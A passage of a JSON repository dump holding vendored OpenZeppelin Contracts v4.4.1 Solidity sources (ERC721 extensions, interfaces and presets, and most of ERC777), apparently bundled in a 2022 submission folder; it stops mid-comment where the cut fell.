    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\nimport \"./IERC721Enumerable.sol\";\n\n/**\n * @dev This implements an optional extension of {ERC721} defined in the EIP that adds\n * enumerability of all the token ids in the contract as well as all token ids owned by each\n * account.\n */\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n    // Mapping from owner to list of owned token IDs\n    mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n    // Mapping from token ID to index of the owner tokens list\n    mapping(uint256 => uint256) private _ownedTokensIndex;\n\n    // Array with all token ids, used for enumeration\n    uint256[] private _allTokens;\n\n    // Mapping from token id to position in the allTokens array\n    mapping(uint256 => uint256) private _allTokensIndex;\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n        return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\n     */\n    function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {\n        require(index < ERC721.balanceOf(owner), \"ERC721Enumerable: owner index out of bounds\");\n        return _ownedTokens[owner][index];\n    }\n\n    /**\n     * @dev See {IERC721Enumerable-totalSupply}.\n     */\n    function totalSupply() public view virtual override returns (uint256) {\n        return _allTokens.length;\n    }\n\n    /**\n     * @dev See {IERC721Enumerable-tokenByIndex}.\n     */\n    function tokenByIndex(uint256 index) public view virtual override returns (uint256) {\n        require(index < ERC721Enumerable.totalSupply(), \"ERC721Enumerable: global index out of bounds\");\n        return _allTokens[index];\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes minting\n     * and burning.\n     *\n     * Calling conditions:\n     *\n     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n     * transferred to `to`.\n     * - When `from` is zero, `tokenId` will be minted for `to`.\n     * - When `to` is zero, ``from``'s `tokenId` will be burned.\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, tokenId);\n\n        if (from == address(0)) {\n            _addTokenToAllTokensEnumeration(tokenId);\n        } else if (from != to) {\n            _removeTokenFromOwnerEnumeration(from, tokenId);\n        }\n        if (to == address(0)) {\n            _removeTokenFromAllTokensEnumeration(tokenId);\n        } else if (to != from) {\n            _addTokenToOwnerEnumeration(to, tokenId);\n        }\n    }\n\n    /**\n     * @dev Private function to add a token to this extension's ownership-tracking data structures.\n     * @param to address representing the new owner of the given token ID\n     * @param tokenId uint256 ID of the token to be added to the tokens list of the given address\n     */\n    function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n        uint256 length = ERC721.balanceOf(to);\n        _ownedTokens[to][length] = tokenId;\n        _ownedTokensIndex[tokenId] = length;\n    }\n\n    /**\n     * @dev Private function to add a token to this extension's token tracking data structures.\n     * @param tokenId uint256 ID of the token to be added to the tokens list\n     */\n    function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n        _allTokensIndex[tokenId] = _allTokens.length;\n        _allTokens.push(tokenId);\n    }\n\n    /**\n     * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that\n     * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for\n     * gas optimizations e.g. when performing a transfer operation (avoiding double writes).\n     * This has O(1) time complexity, but alters the order of the _ownedTokens array.\n     * @param from address representing the previous owner of the given token ID\n     * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\n     */\n    function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {\n        // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\n        // then delete the last slot (swap and pop).\n\n        uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\n        uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n        // When the token to delete is the last token, the swap operation is unnecessary\n        if (tokenIndex != lastTokenIndex) {\n            uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n            _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n            _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n        }\n\n        // This also deletes the contents at the last position of the array\n        delete _ownedTokensIndex[tokenId];\n        delete _ownedTokens[from][lastTokenIndex];\n    }\n\n    /**\n     * @dev Private function to remove a token from this extension's token tracking data structures.\n     * This has O(1) time complexity, but alters the order of the _allTokens array.\n     * @param tokenId uint256 ID of the token to be removed from the tokens list\n     */\n    function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n        // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and\n        // then delete the last slot (swap and pop).\n\n        uint256 lastTokenIndex = _allTokens.length - 1;\n        uint256 tokenIndex = _allTokensIndex[tokenId];\n\n        // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so\n        // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding\n        // an 'if' statement (like in _removeTokenFromOwnerEnumeration)\n        uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n        _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n        _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n\n        // This also deletes the contents at the last position of the array\n        delete _allTokensIndex[tokenId];\n        _allTokens.pop();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Pausable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC721 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n */\nabstract contract ERC721Pausable is ERC721, Pausable {\n    /**\n     * @dev See {ERC721-_beforeTokenTransfer}.\n     *\n     * Requirements:\n     *\n     * - the contract must not be paused.\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, tokenId);\n\n        require(!paused(), \"ERC721Pausable: token transfer while paused\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721URIStorage.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\n\n/**\n * @dev ERC721 token with storage based token URI management.\n */\nabstract contract ERC721URIStorage is ERC721 {\n    using Strings for uint256;\n\n    // Optional mapping for token URIs\n    mapping(uint256 => string) private _tokenURIs;\n\n    /**\n     * @dev See {IERC721Metadata-tokenURI}.\n     */\n    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n        require(_exists(tokenId), \"ERC721URIStorage: URI query for nonexistent token\");\n\n        string memory _tokenURI = _tokenURIs[tokenId];\n        string memory base = _baseURI();\n\n        // If there is no base URI, return the token URI.\n        if (bytes(base).length == 0) {\n            return _tokenURI;\n        }\n        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n        if (bytes(_tokenURI).length > 0) {\n            return string(abi.encodePacked(base, _tokenURI));\n        }\n\n        return super.tokenURI(tokenId);\n    }\n\n    /**\n     * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {\n        require(_exists(tokenId), \"ERC721URIStorage: URI set of nonexistent token\");\n        _tokenURIs[tokenId] = _tokenURI;\n    }\n\n    /**\n     * @dev Destroys `tokenId`.\n     * The approval is cleared when the token is burned.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _burn(uint256 tokenId) internal virtual override {\n        super._burn(tokenId);\n\n        if (bytes(_tokenURIs[tokenId]).length != 0) {\n            delete _tokenURIs[tokenId];\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Enumerable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Enumerable is IERC721 {\n    /**\n     * @dev Returns the total amount of tokens stored by the contract.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.\n     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\n     */\n    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);\n\n    /**\n     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\n     * Use along with {totalSupply} to enumerate all tokens.\n     */\n    function tokenByIndex(uint256 index) external view returns (uint256);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Metadata.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n    /**\n     * @dev Returns the token collection name.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the token collection symbol.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n     */\n    function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\nimport \"../extensions/ERC721Enumerable.sol\";\nimport \"../extensions/ERC721Burnable.sol\";\nimport \"../extensions/ERC721Pausable.sol\";\nimport \"../../../access/AccessControlEnumerable.sol\";\nimport \"../../../utils/Context.sol\";\nimport \"../../../utils/Counters.sol\";\n\n/**\n * @dev {ERC721} token, including:\n *\n *  - ability for holders to burn (destroy) their tokens\n *  - a minter role that allows for token minting (creation)\n *  - a pauser role that allows to stop all token transfers\n *  - token ID and URI autogeneration\n *\n * This contract uses {AccessControl} to lock permissioned functions using the\n * different roles - head to its documentation for details.\n *\n * The account that deploys the contract will be granted the minter and pauser\n * roles, as well as the default admin role, which will let it grant both minter\n * and pauser roles to other accounts.\n */\ncontract ERC721PresetMinterPauserAutoId is\n    Context,\n    AccessControlEnumerable,\n    ERC721Enumerable,\n    ERC721Burnable,\n    ERC721Pausable\n{\n    using Counters for Counters.Counter;\n\n    bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n    bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n    Counters.Counter private _tokenIdTracker;\n\n    string private _baseTokenURI;\n\n    /**\n     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the\n     * account that deploys the contract.\n     *\n     * Token URIs will be autogenerated based on `baseURI` and their token IDs.\n     * See {ERC721-tokenURI}.\n     */\n    constructor(\n        string memory name,\n        string memory symbol,\n        string memory baseTokenURI\n    ) ERC721(name, symbol) {\n        _baseTokenURI = baseTokenURI;\n\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n        _setupRole(MINTER_ROLE, _msgSender());\n        _setupRole(PAUSER_ROLE, _msgSender());\n    }\n\n    function _baseURI() internal view virtual override returns (string memory) {\n        return _baseTokenURI;\n    }\n\n    /**\n     * @dev Creates a new token for `to`. Its token ID will be automatically\n     * assigned (and available on the emitted {IERC721-Transfer} event), and the token\n     * URI autogenerated based on the base URI passed at construction.\n     *\n     * See {ERC721-_mint}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `MINTER_ROLE`.\n     */\n    function mint(address to) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC721PresetMinterPauserAutoId: must have minter role to mint\");\n\n        // We cannot just use balanceOf to create the new tokenId because tokens\n        // can be burned (destroyed), so we need a separate counter.\n        _mint(to, _tokenIdTracker.current());\n        _tokenIdTracker.increment();\n    }\n\n    /**\n     * @dev Pauses all token transfers.\n     *\n     * See {ERC721Pausable} and {Pausable-_pause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function pause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC721PresetMinterPauserAutoId: must have pauser role to pause\");\n        _pause();\n    }\n\n    /**\n     * @dev Unpauses all token transfers.\n     *\n     * See {ERC721Pausable} and {Pausable-_unpause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function unpause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC721PresetMinterPauserAutoId: must have pauser role to unpause\");\n        _unpause();\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {\n        super._beforeTokenTransfer(from, to, tokenId);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(AccessControlEnumerable, ERC721, ERC721Enumerable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/utils/ERC721Holder.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Receiver.sol\";\n\n/**\n * @dev Implementation of the {IERC721Receiver} interface.\n *\n * Accepts all token transfers.\n * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.\n */\ncontract ERC721Holder is IERC721Receiver {\n    /**\n     * @dev See {IERC721Receiver-onERC721Received}.\n     *\n     * Always returns `IERC721Receiver.onERC721Received.selector`.\n     */\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes memory\n    ) public virtual override returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/ERC777.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC777.sol\";\nimport \"./IERC777Recipient.sol\";\nimport \"./IERC777Sender.sol\";\nimport \"../ERC20/IERC20.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/introspection/IERC1820Registry.sol\";\n\n/**\n * @dev Implementation of the {IERC777} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * Support for ERC20 is included in this contract, as specified by the EIP: both\n * the ERC777 and ERC20 interfaces can be safely used when interacting with it.\n * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token\n * movements.\n *\n * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there\n * are no special restrictions in the amount of tokens that created, moved, or\n * destroyed. This makes integration with ERC20 applications seamless.\n */\ncontract ERC777 is Context, IERC777, IERC20 {\n    using Address for address;\n\n    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n\n    mapping(address => uint256) private _balances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n\n    bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256(\"ERC777TokensSender\");\n    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256(\"ERC777TokensRecipient\");\n\n    // This isn't ever read from - it's only used to respond to the defaultOperators query.\n    address[] private _defaultOperatorsArray;\n\n    // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).\n    mapping(address => bool) private _defaultOperators;\n\n    // For each account, a mapping of its operators and revoked default operators.\n    mapping(address => mapping(address => bool)) private _operators;\n    mapping(address => mapping(address => bool)) private _revokedDefaultOperators;\n\n    // ERC20-allowances\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    /**\n     * @dev `defaultOperators` may be an empty array.\n     */\n    constructor(\n        string memory name_,\n        string memory symbol_,\n        address[] memory defaultOperators_\n    ) {\n        _name = name_;\n        _symbol = symbol_;\n\n        _defaultOperatorsArray = defaultOperators_;\n        for (uint256 i = 0; i < defaultOperators_.length; i++) {\n            _defaultOperators[defaultOperators_[i]] = true;\n        }\n\n        // register interfaces\n        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256(\"ERC777Token\"), address(this));\n        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256(\"ERC20Token\"), address(this));\n    }\n\n    /**\n     * @dev See {IERC777-name}.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev See {IERC777-symbol}.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev See {ERC20-decimals}.\n     *\n     * Always returns 18, as per the\n     * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).\n     */\n    function decimals() public pure virtual returns (uint8) {\n        return 18;\n    }\n\n    /**\n     * @dev See {IERC777-granularity}.\n     *\n     * This implementation always returns `1`.\n     */\n    function granularity() public view virtual override returns (uint256) {\n        return 1;\n    }\n\n    /**\n     * @dev See {IERC777-totalSupply}.\n     */\n    function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {\n        return _totalSupply;\n    }\n\n    /**\n     * @dev Returns the amount of tokens owned by an account (`tokenHolder`).\n     */\n    function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {\n        return _balances[tokenHolder];\n    }\n\n    /**\n     * @dev See {IERC777-send}.\n     *\n     * Also emits a {IERC20-Transfer} event for ERC20 compatibility.\n     */\n    function send(\n        address recipient,\n        uint256 amount,\n        bytes memory data\n    ) public virtual override {\n        _send(_msgSender(), recipient, amount, data, \"\", true);\n    }\n\n    /**\n     * @dev See {IERC20-transfer}.\n     *\n     * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}\n     * interface if it is a contract.\n     *\n     * Also emits a {Sent} event.\n     */\n    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n        require(recipient != address(0), \"ERC777: transfer to the zero address\");\n\n        address from = _msgSender();\n\n        _callTokensToSend(from, from, recipient, amount, \"\", \"\");\n\n        _move(from, from, recipient, amount, \"\", \"\");\n\n        _callTokensReceived(from, from, recipient, amount, \"\", \"\", false);\n\n        return true;\n    }\n\n    /**\n     * @dev See {IERC777-burn}.\n     *\n     * Also emits a {IERC20-Transfer} event for ERC20 compatibility.\n     */\n    function burn(uint256 amount, bytes memory data) public virtual override {\n        _burn(_msgSender(), amount, data, \"\");\n    }\n\n    /**\n     * @dev See {IERC777-isOperatorFor}.\n     */\n    function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {\n        return\n            operator == tokenHolder ||\n            (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||\n            _operators[tokenHolder][operator];\n    }\n\n    /**\n     * @dev See {IERC777-authorizeOperator}.\n     */\n    function authorizeOperator(address operator) public virtual override {\n        require(_msgSender() != operator, \"ERC777: authorizing self as operator\");\n\n        if (_defaultOperators[operator]) {\n            delete _revokedDefaultOperators[_msgSender()][operator];\n        } else {\n            _operators[_msgSender()][operator] = true;\n        }\n\n        emit AuthorizedOperator(operator, _msgSender());\n    }\n\n    /**\n     * @dev See {IERC777-revokeOperator}.\n     */\n    function revokeOperator(address operator) public virtual override {\n        require(operator != _msgSender(), \"ERC777: revoking self as operator\");\n\n        if (_defaultOperators[operator]) {\n            _revokedDefaultOperators[_msgSender()][operator] = true;\n        } else {\n            delete _operators[_msgSender()][operator];\n        }\n\n        emit RevokedOperator(operator, _msgSender());\n    }\n\n    /**\n     * @dev See {IERC777-defaultOperators}.\n     */\n    function defaultOperators() public view virtual override returns (address[] memory) {\n        return _defaultOperatorsArray;\n    }\n\n    /**\n     * @dev See {IERC777-operatorSend}.\n     *\n     * Emits {Sent} and {IERC20-Transfer} events.\n     */\n    function operatorSend(\n        address sender,\n        address recipient,\n        uint256 amount,\n        bytes memory data,\n        bytes memory operatorData\n    ) public virtual override {\n        require(isOperatorFor(_msgSender(), sender), \"ERC777: caller is not an operator for holder\");\n        _send(sender, recipient, amount, data, operatorData, true);\n    }\n\n    /**\n     * @dev See {IERC777-operatorBurn}.\n     *\n     * Emits {Burned} and {IERC20-Transfer} events.\n     */\n    function operatorBurn(\n        address account,\n        uint256 amount,\n        bytes memory data,\n        bytes memory operatorData\n    ) public virtual override {\n        require(isOperatorFor(_msgSender(), account), \"ERC777: caller is not an operator for holder\");\n        _burn(account, amount, data, operatorData);\n    }\n\n    /**\n     * @dev See {IERC20-allowance}.\n     *\n     * Note that operator and allowance concepts are orthogonal: operators may\n     * not have allowance, and accounts with allowance may not be operators\n     * themselves.\n     */\n    function allowance(address holder, address spender) public view virtual override returns (uint256) {\n        return _allowances[holder][spender];\n    }\n\n    /**\n     * @dev See {IERC20-approve}.\n     *\n     * Note that accounts cannot have allowance issued by their operators.\n     */\n    function approve(address spender, uint256 value) public virtual override returns (bool) {\n        address holder = _msgSender();\n        _approve(holder, spender, value);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-transferFrom}.\n     *\n     * Note that operator and allowance concepts are orthogonal: operators cannot\n     * call `transferFrom` (unless they have allowance), and accounts with\n     * allowance cannot call `operatorSend` (unless they are operators).\n     *\n     * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.\n     */\n    function transferFrom(\n        address holder,\n        address recipient,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        require(recipient != address(0), \"ERC777: transfer to the zero address\");\n        require(holder != address(0), \"ERC777: transfer from the zero address\");\n\n        address spender = _msgSender();\n\n        _callTokensToSend(spender, holder, recipient, amount, \"\", \"\");\n\n        _move(spender, holder, recipient, amount, \"\", \"\");\n\n        uint256 currentAllowance = _allowances[holder][spender];\n        require(currentAllowance >= amount, \"ERC777: transfer amount exceeds allowance\");\n        _approve(holder, spender, currentAllowance - amount);\n\n        _callTokensReceived(spender, holder, recipient, amount, \"\", \"\", false);\n\n        return true;\n    }\n\n    /**\n     * @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * If a send hook is registered for `account`, the corresponding function\n     * will be called with `operator`, `data` and `operatorData`.\n     *\n     * See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits {Minted} and {IERC20-Transfer} events.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - if `account` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function _mint(\n        address account,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) internal virtual {\n        _mint(account, amount, userData, operatorData, true);\n    }\n\n    /**\n     * @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * If `requireReceptionAck` is set to true, and if a send hook is\n     * registered for `account`, the corresponding function will be called with\n     * `operator`, `data` and `operatorData`.\n     *\n     * See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits {Minted} and {IERC20-Transfer} events.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - if `account` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function _mint(\n        address account,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) internal virtual {\n        require(account != address(0), \"ERC777: mint to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, address(0), account, amount);\n\n        // Update state variables\n        _totalSupply += amount;\n        _balances[account] += amount;\n\n        _callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);\n\n        emit Minted(operator, account, amount, userData, operatorData);\n        emit Transfer(address(0), account, amount);\n    }\n\n    /**\n     * @dev Send tokens\n     * @param from address token holder address\n     * @param to address recipient address\n     * @param amount uint256 amount of tokens to transfer\n     * @param userData bytes extra information provided by the token holder (if any)\n     * @param operatorData bytes extra information provided by the operator (if any)\n     * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient\n     */\n    function _send(\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) internal virtual {\n        require(from != address(0), \"ERC777: send from the zero address\");\n        require(to != address(0), \"ERC777: send to the zero address\");\n\n        address operator = _msgSender();\n\n        _callTokensToSend(operator, from, to, amount, userData, operatorData);\n\n        _move(operator, from, to, amount, userData, operatorData);\n\n        _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);\n    }\n\n    /**\n     * @dev Burn tokens\n     * @param from address token holder address\n     * @param amount uint256 amount of tokens to burn\n     * @param data bytes extra information provided by the token holder\n     * @param operatorData bytes extra information provided by the operator (if any)\n     */\n    function _burn(\n        address from,\n        uint256 amount,\n        bytes memory data,\n        bytes memory operatorData\n    ) internal virtual {\n        require(from != address(0), \"ERC777: burn from the zero address\");\n\n        address operator = _msgSender();\n\n        _callTokensToSend(operator, from, address(0), amount, data, operatorData);\n\n        _beforeTokenTransfer(operator, from, address(0), amount);\n\n        // Update state variables\n        uint256 fromBalance = _balances[from];\n        require(fromBalance >= amount, \"ERC777: burn amount exceeds balance\");\n        unchecked {\n            _balances[from] = fromBalance - amount;\n        }\n        _totalSupply -= amount;\n\n        emit Burned(operator, from, amount, data, operatorData);\n        emit Transfer(from, address(0), amount);\n    }\n\n    function _move(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) private {\n        _beforeTokenTransfer(operator, from, to, amount);\n\n        uint256 fromBalance = _balances[from];\n        require(fromBalance >= amount, \"ERC777: transfer amount exceeds balance\");\n        unchecked {\n            _balances[from] = fromBalance - amount;\n        }\n        _balances[to] += amount;\n\n        emit Sent(operator, from, to, amount, userData, operatorData);\n        emit Transfer(from, to, amount);\n    }\n\n    /**\n     * @dev See {ERC20-_approve}.\n     *\n     * Note that accounts cannot have allowance issued by their operators.\n     */\n    function _approve(\n        address holder,\n        address spender,\n        uint256 value\n    ) internal {\n        require(holder != address(0), \"ERC777: approve from the zero address\");\n        require(spender != address(0), \"ERC777: approve to the zero address\");\n\n        _allowances[holder][spender] = value;\n        emit Approval(holder, spender, value);\n    }\n\n    /**\n     * @dev Call from.tokensToSend() if the interface is registered\n     * @param operator address operator requesting the transfer\n     * @param from address token holder address\n     * @param to address recipient address\n     * @param amount uint256 amount of tokens to transfer\n     * @param userData bytes extra information provided by the token holder (if any)\n     * @param operatorData bytes extra information provided by the operator (if any)\n     */\n    function _callTokensToSend(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) private {\n        address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);\n        if (implementer != address(0)) {\n            IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);\n        }\n    }\n\n    /**\n     * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but\n     * tokensReceived() was not registered for the recipient\n     * @param operator address operator requesting the transfer\n     * @param from address token holder address\n     * @param to address recipient address\n     * @param amount uint256 amount of tokens to transfer\n     * @param userData bytes extra information provided by the token holder (if any)\n     * @param operatorData bytes extra information provided by the operator (if any)\n     * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient\n     */\n    function _callTokensReceived(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) private {\n        address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);\n        if (implementer != address(0)) {\n            IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);\n        } else if (requireReceptionAck) {\n            require(!to.isContract(), \"ERC777: token recipient contract has no implementer for ERC777TokensRecipient\");\n        }\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes\n     * calls to {send}, {transfer}, 